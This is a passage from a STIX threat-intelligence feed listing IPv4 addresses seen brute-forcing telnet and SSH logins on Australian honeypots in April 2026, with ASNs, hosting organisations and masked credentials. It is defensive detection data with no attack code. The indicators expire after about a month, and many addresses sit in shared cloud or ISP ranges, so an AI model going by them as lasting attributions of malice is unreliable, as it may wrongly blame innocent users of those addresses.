      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--196ca8d3-084f-4062-8d16-9a15c22c87f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.61.152.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 213186. Organisation(s): Yanoor Islam Khan.",
      "id": "indicator--25c0fb5e-852a-4e79-9616-8827b6916060",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.61.146.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 114. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--32305e7a-69e9-4dd5-bc70-da8dc61e1144",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '51.15.17.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 213438. Organisation(s): ColocaTel Inc.. Usernames observed (masked): r**t, , p******s, u**t. Passwords observed (masked): , p******d, p******s, u**t.",
      "id": "indicator--33d6f5f7-712c-47af-a60d-2a0a2941ce1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.11.167.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 41202. Organisation(s): UNITEL LLC.",
      "id": "indicator--1ba245d5-6254-4dd4-872e-f7138493eca2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.214.211.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 9198. Organisation(s): JSC Kazakhtelecom.",
      "id": "indicator--da9d457e-8560-4ebd-b612-d5e47acf53b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.56.50.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 146940. Organisation(s): Natsav.",
      "id": "indicator--518489c8-5589-40e2-b312-3dd614677255",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.173.204.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138089. Organisation(s): PT.Global Media Data Prima.",
      "id": "indicator--63cd4665-f941-46a2-856c-39b287fe6bf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.63.26.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 135161. Organisation(s): GMO-Z com NetDesign Holdings Co., Ltd..",
      "id": "indicator--9098e358-07d8-4f0b-98c1-c6856fcb29d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.95.84.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--3d255621-5b3a-4017-8efe-704bcec77695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '153.34.121.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc..",
      "id": "indicator--b49345d9-7269-4b70-b7cc-705b3dbe0d5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.12.227.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--fc1747b3-f79e-4b5c-a9f7-086b7d9ec9b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.93.107.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--39733f1a-a928-449d-bc56-feda690b7374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '178.238.229.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7140ca84-de69-4a28-8d7e-08f426db5004",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.147.161.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--3ba0f4e0-b0d9-42f6-939a-64ddf103d91a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.233.86.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 64161. Organisation(s): GRUPO ZGH SPA.",
      "id": "indicator--b1c61e61-66d5-4efc-9089-07e01bca1032",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.88.213.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--38185fa0-626a-49e0-85c0-5f9f2fcf1abc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 152. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer.",
      "id": "indicator--cc0c597c-5da5-41f9-8353-cd08272a50e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.57.165.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--254b7f13-c21d-417c-b3d9-ddcf14719669",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '40.160.228.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): G************1, U*********************1. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--f7312c8e-265b-4d41-9253-c055a51ab058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.245.139.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--12e80d44-0efe-4e62-be53-e4893fad7ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.99.237.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--cb66cd68-3bbe-4b91-b443-7aac931ec519",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '49.42.92.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 6739. Organisation(s): Vodafone Ono, S.A..",
      "id": "indicator--6b3011ae-c810-4930-b7af-c1c170edf7cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.60.186.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 2856. Organisation(s): British Telecommunications PLC.",
      "id": "indicator--ef4b0288-0a3c-4f64-b461-551b0c2facc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.146.125.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--7e317809-de4d-43a2-b70f-5aee049a86fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.98.119.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T17:15:11.000Z",
      "valid_until": "2026-06-01T17:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, u****u, 3**********4, a***n, b****x. Passwords observed (masked): ***, 1****1, **, 1***5, ***.",
      "id": "indicator--656c8364-0157-4793-9cee-a8569d406717",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.118.28.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 149309. Organisation(s): The Matrix Technology.",
      "id": "indicator--cf8a3df9-6fd3-43c3-8605-2b0cd11985b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.178.191.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--de826a61-3c0b-42f2-8354-966f3fbb903e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.188.252.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19318. Organisation(s): Interserver, Inc.",
      "id": "indicator--649cf2f5-0ae1-45c2-a997-a25f174ddf88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '216.158.234.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 48678. Organisation(s): PENTECH BILISIM TEKNOLOJILERI SANAYI VE TICARET LIMITED SIRKETi.",
      "id": "indicator--5d45b0b9-906d-4daa-855e-ad07ffaed99d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.11.96.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 213468. Organisation(s): HD-decor Oy.",
      "id": "indicator--30857560-76eb-4352-a2b4-068d12761b38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '5.61.90.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T18:15:10.000Z",
      "valid_until": "2026-06-01T18:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 136861. Organisation(s): PT. ARTAMEDIA CITRA TELEMATIKA INDONESIA.",
      "id": "indicator--153c37d1-dfd7-499f-bac9-f7e1daf46c81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.103.146.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 9341. Organisation(s): PT INDONESIA COMNETS PLUS.",
      "id": "indicator--54badfaf-2d60-4dc5-8e3f-82d16096fc8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.144.170.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e19c5c57-5915-4d1e-a893-515a95adac0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.29.214.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--c18b6c82-83a0-4163-9fcd-1ed8dcb5d8ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '158.69.9.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:15:10.000Z",
      "valid_until": "2026-06-01T19:15:08.000Z"
    },
    {
      "created": "2026-04-30T19:15:10.000Z",
